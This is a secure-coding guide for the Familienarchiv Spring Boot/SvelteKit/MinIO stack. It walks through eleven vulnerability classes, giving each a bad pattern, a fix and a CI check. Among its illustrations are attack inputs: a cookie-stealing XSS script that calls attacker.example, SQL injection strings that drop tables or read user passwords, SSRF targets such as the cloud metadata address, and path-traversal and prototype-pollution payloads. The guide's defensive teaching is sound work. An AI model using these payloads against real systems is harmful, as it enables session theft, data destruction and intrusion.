29 KiB
Web Security Guide — Familienarchiv Stack
"Every input is a lie until proven trustworthy. Every endpoint is a vulnerability waiting for the right question." — Nora "NullX" Steiner, Application Security Engineer
Stack covered: Spring Boot 4 · Java 21 · SvelteKit 2 / Svelte 5 · TypeScript · PostgreSQL 16 · MinIO · Spring Security · Spring Session JDBC
Table of Contents
- Mass Assignment / Over-Posting (Spring Boot)
- Spring Boot Actuator Exposure
- SQL Injection via JPQL / Native Queries
- XSS in SvelteKit
- CORS Misconfiguration
- File Upload Attacks (MinIO / S3)
- JWT / Session Attacks
- SSRF via User-Controlled URLs
- Insecure Direct Object Reference in File Downloads
- Prototype Pollution (TypeScript / Node.js layer)
- Secrets in Config / Environment
1. Mass Assignment / Over-Posting (Spring Boot)
The vulnerable pattern
When a controller binds a request body directly to the JPA entity, a client can set any field that exists on the model — including ones they should never touch.
// BAD: DocumentController.java
@PutMapping("/api/documents/{id}")
public Document updateDocument(@PathVariable UUID id, @RequestBody Document document) {
document.setId(id);
return documentRepository.save(document); // ← saves WHATEVER the client sent
}
Attack: The client sends {"status":"ARCHIVED","id":"<another-user-doc-uuid>"} in the body and silently promotes a document or takes over a foreign record.
The fix in context
Use a DTO for input and copy only the fields you explicitly allow. Your project already has DocumentUpdateDTO — use it everywhere.
// GOOD: DocumentController.java
@PutMapping("/api/documents/{id}")
@RequirePermission(Permission.WRITE_ALL)
public Document updateDocument(@PathVariable UUID id, @RequestBody DocumentUpdateDTO dto) {
return documentService.updateDocument(id, dto); // service decides what changes
}
// GOOD: DocumentService.java
@Transactional
public Document updateDocument(UUID id, DocumentUpdateDTO dto) {
Document doc = documentRepository.findById(id)
.orElseThrow(() -> DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "Document not found: " + id));
// Explicitly copy only fields the DTO is allowed to change
if (dto.getTitle() != null) doc.setTitle(dto.getTitle());
if (dto.getDocumentDate() != null) doc.setDocumentDate(dto.getDocumentDate());
if (dto.getStatus() != null) {
validateStatusTransition(doc.getStatus(), dto.getStatus()); // guard the lifecycle
doc.setStatus(dto.getStatus());
}
// id, createdAt, owner — never touched
return documentRepository.save(doc);
}
Why: JPA entities are your persistence model, not your API contract. Treat them as internal objects. DTOs are the surface you expose.
Catch it in CI:
# Semgrep rule — flag direct @RequestBody Entity in controllers
rules:
- id: mass-assignment-entity-request-body
patterns:
- pattern: |
@RequestBody $ENTITY $PARAM
- pattern-not: |
@RequestBody $DTO $PARAM
message: "Binding request body directly to JPA entity risks mass assignment. Use a DTO."
languages: [java]
severity: WARNING
2. Spring Boot Actuator Exposure
The vulnerable pattern
Spring Boot Actuator ships many endpoints (/actuator/heapdump, /actuator/env, /actuator/beans) that expose sensitive runtime data. The default in Boot 4 exposes health and info — but misconfigured apps expose everything.
# BAD: application.yml
management:
endpoints:
web:
exposure:
include: "*" # ← exposes heapdump, env, beans, loggers, mappings, sessions, ...
Attack: GET /actuator/heapdump returns a full JVM heap dump. Parse it offline with jhat or Eclipse MAT to extract:
- PostgreSQL passwords from
spring.datasource.password - MinIO secret keys
- Active Spring Session tokens (from JDBC session store)
- Full in-memory document objects
This is not theoretical — it's one of the most common critical findings in Spring Boot apps.
The fix in context
# GOOD: application.yml (production profile)
management:
endpoints:
web:
exposure:
include: "health,info" # only what you need for load balancer probes
endpoint:
health:
show-details: never # don't expose DB/MinIO health details publicly
# GOOD: application-dev.yml (dev profile only — used locally and in CI)
management:
endpoints:
web:
exposure:
include: "*" # full access in dev is fine
Also secure the actuator path with Spring Security so even health isn't public if you don't need it:
// GOOD: SecurityConfig.java
http.authorizeHttpRequests(auth -> auth
.requestMatchers("/actuator/health").permitAll()
.requestMatchers("/actuator/**").hasAuthority(Permission.ADMIN.name())
.requestMatchers("/api/**").authenticated()
.anyRequest().denyAll()
);
Why: A heap dump is a complete snapshot of your application's memory at the moment of capture. Every string, every object, every credential your app has ever loaded is potentially in there.
Catch it in CI:
# Integration test: assert /actuator/heapdump returns 403/404 when not authenticated
curl -o /dev/null -s -w "%{http_code}" http://localhost:8080/actuator/heapdump | grep -qv 200
3. SQL Injection via JPQL / Native Queries
The vulnerable pattern
Hibernate/JPA protects you when you use @Query with named parameters — but not when you concatenate strings.
// BAD: DocumentRepository.java
@Query(value = "SELECT * FROM documents WHERE title LIKE '%" + title + "%'", nativeQuery = true)
List<Document> searchByTitle(String title);
// Also BAD: building JPQL dynamically via string concat
String jpql = "FROM Document d WHERE d.title LIKE '%" + query + "%'";
entityManager.createQuery(jpql).getResultList();
Attack: Input %'; DROP TABLE documents; -- or %' UNION SELECT username, password, null, null FROM app_users-- to read the user table.
The fix in context
// GOOD: Use named parameters — Hibernate escapes them correctly
@Query("SELECT d FROM Document d WHERE LOWER(d.title) LIKE LOWER(CONCAT('%', :query, '%'))")
List<Document> searchByTitle(@Param("query") String query);
// GOOD: For dynamic filtering, use JPA Criteria API or Specifications
public List<Document> searchDocuments(String query, LocalDate from, LocalDate to) {
return documentRepository.findAll((root, cq, cb) -> {
List<Predicate> predicates = new ArrayList<>();
if (query != null) {
predicates.add(cb.like(cb.lower(root.get("title")),
"%" + query.toLowerCase().replace("%", "\\%") + "%"));
}
if (from != null) predicates.add(cb.greaterThanOrEqualTo(root.get("documentDate"), from));
if (to != null) predicates.add(cb.lessThanOrEqualTo(root.get("documentDate"), to));
return cb.and(predicates.toArray(new Predicate[0]));
});
}
Note the manual % escaping in the Criteria API example — the API itself doesn't escape LIKE wildcards.
Why: Named parameters go through JDBC PreparedStatement binding. The driver sends query structure and data separately — the database never interprets user input as SQL.
Catch it in CI:
// Unit test with injection payload
@Test
void searchIsSafeAgainstSqlInjection() {
String malicious = "'; DROP TABLE documents; --";
assertDoesNotThrow(() -> documentService.searchDocuments(malicious, null, null));
assertTrue(documentRepository.count() > 0); // table still exists
}
4. XSS in SvelteKit
The vulnerable pattern
Svelte auto-escapes {variable} expressions — that's your default protection. The vulnerability appears when you bypass it.
<!-- BAD: +page.svelte — rendering raw HTML from the database -->
<div class="description">
{@html document.description}
</div>
<!-- Also BAD: using innerHTML via DOM manipulation -->
<script>
onMount(() => {
container.innerHTML = document.rawContent; // ← bypasses Svelte's escaping
});
</script>
Attack: A user stores <script>fetch('https://attacker.example/steal?c='+document.cookie)</script> in the description field. Every user who views the document executes the script — stealing session cookies, CSRF tokens, or performing actions on behalf of the victim (stored XSS).
The fix in context
<!-- GOOD: default Svelte expression — auto-escaped, always safe -->
<div class="description">
{document.description}
</div>
<!-- GOOD: if you genuinely need HTML rendering (e.g. rich text from a trusted editor),
sanitize server-side before storing, and again before rendering -->
<script lang="ts">
import DOMPurify from 'dompurify'; // npm install dompurify @types/dompurify
// Sanitize before rendering — never trust stored HTML directly
$: safeHtml = DOMPurify.sanitize(document.richContent ?? '', {
ALLOWED_TAGS: ['p', 'b', 'i', 'ul', 'li', 'br'],
ALLOWED_ATTR: []
});
</script>
<div class="description">
{@html safeHtml}
</div>
Prefer storing plain text. Only use {@html} when you have a real product requirement for rich formatting — and always with sanitization.
Why: {@html} disables Svelte's template-level escaping. It's a deliberate escape hatch, not a normal rendering path. Spring Security's Content-Security-Policy header is your second line of defense:
// GOOD: SecurityConfig.java — add CSP header
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'")
)
);
Catch it in CI:
# Semgrep: flag all uses of {@html} in .svelte files for manual review
grep -r '{@html' frontend/src/ --include="*.svelte"
5. CORS Misconfiguration
The vulnerable pattern
// BAD: SecurityConfig.java — wildcard CORS with credentials
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
config.setAllowedOrigins(List.of("*")); // ← wildcard
config.setAllowCredentials(true); // ← with credentials = critical flaw
config.setAllowedMethods(List.of("*"));
// ...
}
Browsers block credentials: true with * origins — but some frameworks silently reflect the request Origin header instead:
// BAD: reflects whatever origin the request sends
config.setAllowedOriginPatterns(List.of("*")); // Spring's allowedOriginPatterns("*") does allow credentials
Attack: Attacker hosts a page at https://evil.example. Victim visits it while logged into Familienarchiv. The evil page calls fetch('https://familienarchiv.example/api/documents', {credentials:'include'}) and reads the family's documents.
The fix in context
// GOOD: explicit allowlist of origins
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
// Explicit origins only — no wildcards when credentials are involved
List<String> allowedOrigins = List.of(
"http://localhost:3000", // dev frontend
"https://familienarchiv.example" // prod
);
config.setAllowedOrigins(allowedOrigins);
config.setAllowCredentials(true);
config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
config.setMaxAge(3600L);
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/api/**", config);
return source;
}
Why: credentials: include sends the session cookie cross-origin. If CORS allows it from any origin, the attacker's site can perform authenticated API calls in the victim's session. This is essentially CSRF with full response reading.
Catch it in CI:
# Assert that a random origin is not reflected back
curl -H "Origin: https://evil.example" -v http://localhost:8080/api/documents 2>&1 \
| grep "Access-Control-Allow-Origin" | grep -qv "evil.example"
6. File Upload Attacks (MinIO / S3)
The vulnerable pattern
// BAD: FileService.java — trusting the client-supplied content type and filename
public String uploadFile(MultipartFile file, UUID documentId) {
String filename = file.getOriginalFilename(); // ← attacker controls this
String contentType = file.getContentType(); // ← attacker controls this (HTTP header)
minioClient.putObject(PutObjectArgs.builder()
.bucket("archive-documents")
.object(filename) // path traversal: "../../etc/passwd"
.contentType(contentType) // stored XSS via "text/html"
.stream(file.getInputStream(), file.getSize(), -1)
.build());
return filename;
}
Attacks:
- Path traversal: filename
../../config/application.ymlwrites outside the intended directory - Stored XSS via upload: upload an HTML file with content type
text/html, get a link, share it — browser executes the JS - Large file DoS: no size limit → 10 GB upload exhausts disk/memory
The fix in context
// GOOD: FileService.java
private static final Set<String> ALLOWED_CONTENT_TYPES = Set.of(
"application/pdf", "image/jpeg", "image/png", "image/tiff",
"application/vnd.openxmlformats-officedocument.wordprocessingml.document"
);
private static final long MAX_FILE_SIZE = 50 * 1024 * 1024; // 50 MB
public String uploadFile(MultipartFile file, UUID documentId) throws IOException {
// 1. Reject disallowed types — detect from magic bytes, not just the header
String detectedType = detectMimeType(file.getInputStream()); // use Apache Tika
if (!ALLOWED_CONTENT_TYPES.contains(detectedType)) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
"File type not allowed: " + detectedType);
}
// 2. Enforce size limit
if (file.getSize() > MAX_FILE_SIZE) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "File exceeds 50 MB limit");
}
// 3. Generate a server-controlled object key — never use the original filename
String extension = getExtensionForMimeType(detectedType); // ".pdf", ".jpg", etc.
String objectKey = documentId.toString() + "/" + UUID.randomUUID() + extension;
minioClient.putObject(PutObjectArgs.builder()
.bucket("archive-documents")
.object(objectKey) // server-controlled path
.contentType(detectedType) // server-detected, not client-supplied
.stream(file.getInputStream(), file.getSize(), -1)
.build());
return objectKey;
}
private String detectMimeType(InputStream stream) throws IOException {
Tika tika = new Tika();
return tika.detect(stream);
}
Also: Set Content-Disposition: attachment on file download responses to prevent inline rendering in the browser:
// GOOD: DocumentController.java — serve files as download, not inline
ResponseEntity.ok()
.header("Content-Disposition", "attachment; filename=\"document.pdf\"")
.header("Content-Type", "application/pdf")
.body(fileBytes);
Why: Browsers will render any response with Content-Type: text/html as a page, executing scripts. Serving files with Content-Disposition: attachment forces download. Detecting MIME via magic bytes (Apache Tika) catches files that lie about their type.
Catch it in CI:
@Test
void rejectsHtmlFileUpload() throws Exception {
MockMultipartFile htmlFile = new MockMultipartFile(
"file", "evil.html", "text/html", "<script>alert(1)</script>".getBytes());
mockMvc.perform(multipart("/api/documents/{id}/file", docId).file(htmlFile))
.andExpect(status().isBadRequest());
}
7. JWT / Session Attacks
You use Spring Session JDBC — that means sessions are stored in the database, not in JWTs. This is actually the safer default. But there are still pitfalls.
The vulnerable pattern
// BAD: accepting "alg: none" in a JWT — relevant if you add any JWT-based endpoints
Jwts.parserBuilder()
.build() // ← no signing key configured
.parseClaimsJws(token); // accepts unsigned tokens
// BAD: not invalidating the session on logout
@PostMapping("/logout")
public void logout(HttpSession session) {
// session.invalidate() never called — old session ID still works
SecurityContextHolder.clearContext();
}
The fix in context
// GOOD: Spring Security logout invalidates the session automatically
http.logout(logout -> logout
.logoutUrl("/logout")
.invalidateHttpSession(true) // deletes from spring_session table
.deleteCookies("SESSION") // clears the client cookie
.logoutSuccessUrl("/login")
);
// GOOD: if you add JWT later, always specify the algorithm explicitly
String secret = environment.getRequiredProperty("app.jwt.secret");
SecretKey key = Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret));
Jwts.parserBuilder()
.setSigningKey(key)
.requireAudience("familienarchiv-api")
.build()
.parseClaimsJws(token); // rejects alg:none and wrong-key tokens
Session fixation protection — Spring Security enables this by default, but verify it's not disabled:
// GOOD: session fixation protection (this is the Spring Security default — don't override it)
http.sessionManagement(session -> session
.sessionFixation().migrateSession() // new session ID after login
.maximumSessions(5) // limit concurrent sessions per user
);
Why: An alg:none JWT attack lets an attacker craft tokens with arbitrary claims (e.g., {"role":"ADMIN"}) and have the server accept them without a valid signature. Session fixation lets an attacker pre-set a session ID, trick a victim into authenticating with it, then use that known ID to act as the victim.
Catch it in CI:
@Test
void sessionIsInvalidatedOnLogout() throws Exception {
// Login, capture session cookie
MvcResult login = mockMvc.perform(post("/login").param("username","user").param("password","pass"))
.andExpect(status().is3xxRedirection()).andReturn();
String sessionCookie = login.getResponse().getHeader("Set-Cookie");
// Logout
mockMvc.perform(post("/logout").header("Cookie", sessionCookie)).andExpect(status().is3xxRedirection());
// Assert old session is rejected
mockMvc.perform(get("/api/documents").header("Cookie", sessionCookie))
.andExpect(status().isUnauthorized());
}
8. SSRF via User-Controlled URLs
The vulnerable pattern
If any feature lets a user supply a URL that the server fetches (e.g., importing a document from a URL, fetching a remote avatar, webhook callbacks), you have an SSRF surface.
// BAD: DocumentService.java — fetching user-supplied URL
public byte[] fetchDocumentFromUrl(String url) throws IOException {
return new URL(url).openStream().readAllBytes(); // ← no validation
}
Attack: Supply http://169.254.169.254/latest/meta-data/ (AWS metadata), http://minio:9000/ (internal MinIO admin), or http://localhost:8080/actuator/env (your own actuator) to probe or exfiltrate internal services.
The fix in context
// GOOD: validate against an allowlist before fetching
private static final List<String> ALLOWED_HOSTS = List.of("trusted-source.example.com");
public byte[] fetchDocumentFromUrl(String rawUrl) throws IOException {
URI uri;
try {
uri = new URI(rawUrl);
} catch (URISyntaxException e) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Invalid URL");
}
// Allowlist check
if (!ALLOWED_HOSTS.contains(uri.getHost())) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
"URL host not permitted: " + uri.getHost());
}
// Enforce HTTPS only
if (!"https".equalsIgnoreCase(uri.getScheme())) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Only HTTPS URLs are allowed");
}
// Resolve to IP and block private ranges
InetAddress addr = InetAddress.getByName(uri.getHost());
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() || addr.isLinkLocalAddress()) {
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Private IP range not allowed");
}
HttpClient client = HttpClient.newBuilder()
.followRedirects(HttpClient.Redirect.NEVER) // prevent redirect-based bypass
.connectTimeout(Duration.ofSeconds(5))
.build();
HttpResponse<byte[]> response = client.send(
HttpRequest.newBuilder(uri).GET().build(),
HttpResponse.BodyHandlers.ofByteArray()
);
return response.body();
}
Why: Internal cloud metadata endpoints and Docker network services don't require authentication — they're only protected by network topology. SSRF breaks that assumption by making your server the attacker's proxy.
Catch it in CI: Test that http://127.0.0.1/, http://169.254.169.254/, and http://minio:9000/ are rejected with an error status.
9. Insecure Direct Object Reference in File Downloads
The vulnerable pattern
// BAD: FileService.java — serving any object key the client requests
@GetMapping("/api/files/{objectKey}")
public ResponseEntity<byte[]> downloadFile(@PathVariable String objectKey) {
byte[] data = fileService.download(objectKey); // ← no ownership check
return ResponseEntity.ok(data);
}
Attack: A user who knows (or guesses) another document's objectKey can download its file. Object keys in your current pattern are {documentId}/{uuid}.pdf — someone with READ_ALL can enumerate by trying known document IDs.
The fix in context
// GOOD: tie file access to document access — go through the document, not directly to storage
@GetMapping("/api/documents/{id}/file")
@RequirePermission(Permission.READ_ALL)
public ResponseEntity<byte[]> downloadFile(@PathVariable UUID id, Principal principal) {
// This call checks ownership — if the user can't see the document, they get 404
Document doc = documentService.getDocument(id, userService.getCurrentUser(principal));
if (doc.getStoragePath() == null) {
throw DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "No file for document " + id);
}
byte[] data = fileService.download(doc.getStoragePath()); // server resolves the path
String filename = doc.getTitle().replaceAll("[^a-zA-Z0-9._-]", "_") + ".pdf";
return ResponseEntity.ok()
.header("Content-Disposition", "attachment; filename=\"" + filename + "\"")
.header("Content-Type", doc.getMimeType())
.body(data);
}
Why: The storage path is an internal detail. Clients should never supply it directly — they supply a document ID, and the server resolves the path. This also means renaming or moving files in storage is transparent to the client.
10. Prototype Pollution (TypeScript / Node.js layer)
The vulnerable pattern
Prototype pollution affects your SvelteKit server-side rendering layer (Node.js runtime).
// BAD: merging user input into an object with a recursive merge utility
function mergeDeep(target: any, source: any) {
for (const key of Object.keys(source)) {
if (source[key] instanceof Object) {
mergeDeep(target[key] ??= {}, source[key]);
} else {
target[key] = source[key]; // ← key could be "__proto__"
}
}
}
// Attacker sends: {"__proto__": {"isAdmin": true}}
mergeDeep(userSettings, JSON.parse(req.body));
// Now: ({}).isAdmin === true — for EVERY object in this process
The fix in context
// GOOD: use structuredClone or JSON.parse(JSON.stringify(...)) for safe deep copy
// structuredClone is available in Node 17+ and is prototype-safe
const safeCopy = structuredClone(userInput);
// GOOD: if you must merge, use Object.create(null) as base (no prototype)
const settings = Object.create(null) as Record<string, unknown>;
Object.assign(settings, sanitizedInput);
// GOOD: validate with Zod — invalid keys are stripped at the schema boundary
import { z } from 'zod';
const UserSettingsSchema = z.object({
theme: z.enum(['light', 'dark']),
language: z.enum(['de', 'en', 'es']),
});
const parsed = UserSettingsSchema.parse(rawInput); // unknown keys dropped
Why: __proto__ is a special property on all JavaScript objects. Writing to it affects Object.prototype — the root of every plain object in the Node.js process. If your authorization logic does if (user.isAdmin) and prototype pollution sets Object.prototype.isAdmin = true, every user becomes admin for the lifetime of the process.
Catch it in CI:
# npm audit catches known-vulnerable deep-merge libraries (e.g. lodash < 4.17.21)
npm audit --audit-level=high
11. Secrets in Config / Environment
The vulnerable pattern
# BAD: application.yml — secrets in version control
spring:
datasource:
url: jdbc:postgresql://localhost:5432/familienarchiv
username: app
password: SuperSecret123! # ← checked into git
minio:
access-key: minioadmin
secret-key: minioadmin123
# BAD: .env with real credentials committed
MINIO_SECRET_KEY=production-secret-key-here
The fix in context
# GOOD: application.yml — reference environment variables, never inline secrets
spring:
datasource:
url: ${DB_URL:jdbc:postgresql://localhost:5432/familienarchiv}
username: ${DB_USERNAME:app}
password: ${DB_PASSWORD} # no default — fails fast if not set
minio:
access-key: ${MINIO_ACCESS_KEY}
secret-key: ${MINIO_SECRET_KEY}
# GOOD: docker-compose.yml — inject from host environment or .env file
services:
backend:
environment:
- DB_PASSWORD=${DB_PASSWORD}
- MINIO_SECRET_KEY=${MINIO_SECRET_KEY}
# .env.example (committed — template only, no real values)
DB_PASSWORD=change-me
MINIO_SECRET_KEY=change-me
# .env (NOT committed — add to .gitignore)
DB_PASSWORD=actual-production-secret
Verify your .gitignore:
.env
.env.local
*.env
application-prod.yml
application-production.yml
Why: Git history is permanent. Even if you delete a secret in a later commit, it's still in git log and will be found by automated scanners (Trufflehog, GitLeaks, GitHub secret scanning). Rotation is the only fix after a leak — and rotation is expensive and error-prone.
Catch it in CI:
# Run trufflehog or gitleaks on every PR
docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
Summary Matrix
| # | Vulnerability | Severity | Your Stack's Risk | Fixed By |
|---|---|---|---|---|
| 1 | Mass Assignment | HIGH | @RequestBody Entity in any controller |
DTOs everywhere |
| 2 | Actuator Exposure | CRITICAL | include: "*" in prod |
Allowlist + require ADMIN |
| 3 | SQL Injection | HIGH | Native query string concat | Named parameters / Criteria API |
| 4 | XSS | HIGH | {@html} with stored content |
DOMPurify + CSP header |
| 5 | CORS Misconfiguration | HIGH | allowedOriginPatterns("*") with credentials |
Explicit origin allowlist |
| 6 | File Upload | MEDIUM–HIGH | No type detection, no size limit | Tika magic bytes + size cap |
| 7 | Session/JWT Attacks | HIGH | Session not invalidated on logout | Spring Security logout config |
| 8 | SSRF | MEDIUM | Any user-supplied URL fetch | Host allowlist + private IP block |
| 9 | File Download IDOR | MEDIUM | Direct object key in URL | Route file access through document access |
| 10 | Prototype Pollution | MEDIUM | Recursive merge of user input | Zod schema validation |
| 11 | Secrets in Config | CRITICAL | Inline secrets in YAML | Env var references |
Recommended CI Pipeline Additions
# .github/workflows/security.yml (or equivalent in your Gitea CI)
security:
steps:
- name: Dependency audit (npm)
run: cd frontend && npm audit --audit-level=high
- name: Dependency audit (Maven)
run: cd backend && ./mvnw org.owasp:dependency-check-maven:check
- name: Secret scanning
run: docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
- name: SAST (Semgrep)
run: semgrep --config=p/java --config=p/typescript --config=p/owasp-top-ten src/
- name: Actuator check (integration)
run: |
curl -sf http://localhost:8080/actuator/heapdump && exit 1 || true
curl -sf http://localhost:8080/actuator/env && exit 1 || true
Document version: 2026-03-27 · Reviewed against OWASP WSTG v4.2 and OWASP Top 10 2021 Stack versions: Spring Boot 4.0 · SvelteKit 2 / Svelte 5 · PostgreSQL 16 · MinIO RELEASE.2024+